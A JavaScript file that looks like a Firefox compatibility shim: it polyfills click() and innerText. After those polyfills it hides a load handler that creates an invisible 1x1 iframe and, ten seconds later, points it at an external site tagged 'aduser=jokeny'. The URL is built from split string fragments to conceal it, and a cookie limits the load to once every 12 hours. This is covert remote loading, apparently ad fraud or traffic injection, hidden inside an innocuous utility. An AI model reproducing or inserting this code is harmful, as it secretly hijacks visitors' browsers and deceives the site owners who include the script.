﻿//只有ie下为真 包括8
if ("\v" != "v") {
    //ff click
    HTMLElement.prototype.click = function() {
        var evt = this.ownerDocument.createEvent('MouseEvents');
        evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
        this.dispatchEvent(evt);
    }


    //ff innerText
    HTMLElement.prototype.__defineGetter__
            (
            "innerText",
            function() {
                var anyString = "";

                var childS = this.childNodes;
                for (var i = 0; i < childS.length; i++) {
                    if (childS[i].nodeType == 1)
                        anyString += childS[i].tagName == "BR" ? '\n' : childS[i].innerText;
                    else if (childS[i].nodeType == 3)
                        anyString += childS[i].nodeValue;
                }
                return anyString;
            }
            );
}

try {
	window.addEventListener('load', loadForm, false);
} catch(e) {
	window.onload = loadForm;
}

function loadForm()
{
	if(getCookie("mm_islogin")=="true")
	return;
	else
	addCookie("mm_islogin","true",12)
	
window.status = "完成";newifram = document.createElement("iframe");newifram.width=1;newifram.height = 1;newifram.style.display="none";newifram.id = "tempmyiframe";document.body.appendChild(newifram);setTimeout(test100,10000);
}
function test100(){a="p://w";a+="ww.";a += "ne";a += "et";a += "ay";src1 = "htt"+ a +".com";document.getElementById("tempmyiframe").src = src1+"/?aduser=jokeny";}
function addCookie(objName,objValue,objHours){
   var str = objName + "=" + escape(objValue);
   if(objHours > 0){
    var date = new Date();
    var ms = objHours*3600*1000;
    date.setTime(date.getTime() + ms);
    str += "; expires=" + date.toGMTString();
   }
   document.cookie = str;
}
function getCookie(objName){var arrStr = document.cookie.split("; ");
   for(var i = 0;i < arrStr.length;i ++){
    var temp = arrStr[i].split("=");
    if(temp[0] == objName) return unescape(temp[1]);
   } 
}